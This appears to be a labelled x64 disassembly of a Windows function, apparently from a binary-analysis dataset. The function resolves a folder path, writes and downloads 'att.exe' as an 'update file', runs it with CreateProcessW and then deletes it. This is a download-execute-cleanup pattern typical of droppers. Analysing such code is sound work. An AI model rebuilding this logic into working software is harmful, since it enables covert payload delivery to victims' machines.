Function at 0x1400080f0
Capabilities:
Create process on windows
Delete file
Get common file path

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x160]
sub rsp, 0x260
mov rax, qword [0x1400ab900]
xor rax, rsp
mov qword [rbp + 0x150], rax
xor r13d, r13d
mov rdx, qword [rcx + 8]
mov rbx, qword [rcx]
cmp rbx, rdx
je 0x1400087a9
nop dword [rax + rax]
mov rax, rbx
cmp qword [rbx + 0x18], 0xf
jbe 0x14000814d
mov rax, qword [rbx]
cmp qword [rbx + 0x10], 3
jne 0x140008161
cmp word [rax], 0x7461
jne 0x140008161
cmp byte [rax + 2], 0x74
je 0x14000816a
add rbx, 0x40
cmp rbx, rdx
jne 0x140008140
cmp rbx, rdx
je 0x1400087a9
lea rax, [rbp + 0x40]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_SHGetFolderPathA]
xorps xmm0, xmm0
mov qword [rbp - 0x40], r13
mov qword [rbp - 0x38], r13
movups xmmword [rbp - 0x50], xmm0
test eax, eax
js 0x1400081bf
lea rax, [rbp + 0x40]
mov r8, 0xffffffffffffffff
nop word [rax + rax]
inc r8
cmp byte [rax + r8], r13b
jne 0x1400081b0
lea rdx, [rbp + 0x40]
jmp 0x1400081c9
xor r8d, r8d
lea rdx, [0x14009a369]
lea rcx, [rbp - 0x50]
call fcn.14000d040
nop
movabs rcx, 0x7fffffffffffffff
mov rax, rcx
mov r14, qword [rbp - 0x40]
sub rax, r14
cmp rax, 8
jb 0x1400087e7
lea r12, [rbp - 0x50]
cmp qword [rbp - 0x38], 0xf
cmova r12, qword [rbp - 0x50]
xorps xmm0, xmm0
movups xmmword [rbp - 0x70], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x60], xmm1
lea r15, [r14 + 8]
mov edi, reloc.WS2_32.dll_ntohs
lea rsi, [rbp - 0x70]
cmp r15, rdi
jbe 0x14000829a
mov rdi, r15
or rdi, 0xf
cmp rdi, rcx
jbe 0x14000825c
mov rdi, rcx
movabs rax, 0x8000000000000000
add rax, 0x27
mov rcx, rax
call fcn.140081cf4
test rax, rax
je 0x14000874e
lea rsi, [rax + 0x27]
and rsi, 0xffffffffffffffe0
mov qword [rsi - 8], rax
jmp 0x140008296
mov eax, socket
cmp rdi, rax
cmovb rdi, rax
lea rcx, [rdi + 1]
test rcx, rcx
jne 0x140008276
mov rsi, r13
jmp 0x140008296
cmp rcx, 0x1000
jb 0x14000828e
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x1400087e1
jmp 0x14000823d
call fcn.140081cf4
mov rsi, rax
mov qword [rbp - 0x70], rsi
mov qword [rbp - 0x60], r15
mov qword [rbp - 0x58], rdi
mov r8, r14
mov rdx, r12
mov rcx, rsi
call sub.VCRUNTIME140.dll_memcpy
movabs rax, 0x6578652e7474615c
mov qword [r14 + rsi], rax
mov byte [rsi + r15], 0
xorps xmm0, xmm0
movups xmmword [rsp + 0x70], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x80], xmm1
mov r8d, 7
lea rdx, str.att.exe
lea rcx, [rsp + 0x70]
call fcn.14000d040
nop
lea rdx, [rbx + 0x20]
lea r9, [rbp - 0x50]
lea r8, [rsp + 0x70]
call fcn.140006d70
movzx ebx, al
mov rdx, qword [rbp - 0x78]
cmp rdx, 0xf
jbe 0x14000833f
inc rdx
mov rcx, qword [rsp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000833a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000833a
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140082040
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
test bl, bl
je 0x1400086ff
lea rdx, str.Update_file_downloaded_successfully.
call fcn.14000be30
lea rdx, [0x14000c010]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp - 0x2c], xmm0
movups xmmword [rbp - 0x1c], xmm0
movups xmmword [rbp - 0xc], xmm0
movups xmmword [rbp + 4], xmm0
movups xmmword [rbp + 0x14], xmm0
movups xmmword [rbp + 0x24], xmm0
mov dword [rbp + 0x34], eax
mov dword [rbp - 0x30], 0x68
movups xmmword [rsp + 0x58], xmm0
mov qword [rsp + 0x68], rax
lea rdx, [rbp - 0x70]
cmp qword [rbp - 0x58], 0xf
cmova rdx, qword [rbp - 0x70]
mov rsi, qword [rbp - 0x60]
add rsi, rdx
lea rbx, [rbp - 0x70]
cmp qword [rbp - 0x58], 0xf
cmova rbx, qword [rbp - 0x70]
movups xmmword [rsp + 0x70], xmm0
mov qword [rbp - 0x80], r13
cmp rbx, rsi
jne 0x1400083e0
mov eax, 7
mov qword [rbp - 0x78], rax
mov word [rsp + 0x70], r13w
jmp 0x1400084f1
sub rsi, rbx
mov qword [rbp - 0x78], 7
movabs rax, 0x7ffffffffffffffe
cmp rsi, rax
ja 0x1400087ed
mov edi, 7
cmp rsi, rdi
jbe 0x1400084b0
mov rdi, rsi
or rdi, 7
cmp rdi, rax
jbe 0x14000846a
mov rdi, rax
movabs rax, 0x7fffffffffffffff
lea rcx, [rax + rax]
cmp rcx, 0x1000
jb 0x1400084a0
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x1400087db
mov rcx, rax
call fcn.140081cf4
mov rcx, rax
test rax, rax
je 0x1400086f1
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
mov qword [rsp + 0x70], rax
mov qword [rbp - 0x78], rdi
jmp 0x1400084b5
mov eax, 0xa
cmp rdi, rax
cmovb rdi, rax
lea rcx, [rdi + 1]
movabs rax, 0x7fffffffffffffff
cmp rcx, rax
ja 0x1400087db
add rcx, rcx
jne 0x140008429
mov rax, r13
mov qword [rsp + 0x70], rax
mov qword [rbp - 0x78], rdi
jmp 0x1400084b5
call fcn.140081cf4
mov qword [rsp + 0x70], rax
mov qword [rbp - 0x78], rdi
jmp 0x1400084b5
mov rax, qword [rsp + 0x70]
lea r8, [rsp + 0x70]
cmp rdi, 7
cmova r8, rax
mov rcx, r8
mov rdx, rsi
test rsi, rsi
je 0x1400084e4
nop dword [rax]
movsx eax, byte [rbx]
mov word [rcx], ax
lea rcx, [rcx + 2]
lea rbx, [rbx + 1]
sub rdx, 1
jne 0x1400084d0
mov qword [rbp - 0x80], rsi
mov word [r8 + rsi*2], r13w
mov rax, qword [rbp - 0x78]
lea rcx, [rsp + 0x70]
cmp rax, 7
cmova rcx, qword [rsp + 0x70]
lea rax, [rsp + 0x58]
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x30]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r13
mov qword [rsp + 0x30], r13
mov dword [rsp + 0x28], r13d
mov dword [rsp + 0x20], r13d
xor r9d, r9d
xor r8d, r8d
xor edx, edx
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
je 0x140008695
mov edx, 0xffffffff
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, [rsp + 0x70]
cmp qword [rbp - 0x78], 7
cmova rcx, qword [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
test eax, eax
je 0x14000868c
lea rdx, str.Update_file_executed_and_deleted_successfully.
call fcn.14000be30
lea rdx, [0x14000c010]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
mov rdx, qword [rbp - 0x78]
cmp rdx, 7
jbe 0x1400085e6
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400085e1
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400086f1
call fcn.140082040
mov qword [rbp - 0x80], r13
mov qword [rbp - 0x78], 7
mov word [rsp + 0x70], r13w
mov rdx, qword [rbp - 0x58]
cmp rdx, 0xf
jbe 0x140008636
inc rdx
mov rcx, qword [rbp - 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140008631
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140008631
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140082040
movdqa xmm0, xmmword [0x14009c280]
movdqu xmmword [rbp - 0x60], xmm0
mov byte [rbp - 0x70], 0
mov rdx, qword [rbp - 0x38]
cmp rdx, 0xf
jbe 0x140008685
inc rdx
mov rcx, qword [rbp - 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140008680
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140008680
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140082040
mov al, 1
jmp 0x1400087ab
lea rdx, str.Failed_to_delete_update_file.
jmp 0x1400086a3
lea rdx, str.Failed_to_execute_update_file.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14000be30
lea rdx, [0x14000c010]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
mov rdx, qword [rbp - 0x78]
cmp rdx, 7
jbe 0x14000871c
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400086f8
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400086f8
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140082040
jmp 0x14000871c
lea rdx, str.Failed_to_download_update_file.
call fcn.14000be30
lea rdx, [0x14000c010]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
mov rdx, qword [rbp - 0x58]
cmp rdx, 0xf
jbe 0x14000875a
inc rdx
mov rcx, qword [rbp - 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140008755
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140008755
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140082040
movdqa xmm0, xmmword [0x14009c280]
movdqu xmmword [rbp - 0x60], xmm0
mov byte [rbp - 0x70], 0
mov rdx, qword [rbp - 0x38]
cmp rdx, 0xf
jbe 0x1400087a9
inc rdx
mov rcx, qword [rbp - 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400087a4
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400087a4
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140082040
xor al, al
mov rcx, qword [rbp + 0x150]
xor rcx, rsp
call fcn.140081950
lea r11, [rsp + 0x260]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.140001210
nop
call fcn.140001210
int3
call fcn.1400012b0
nop
call fcn.1400012b0
int3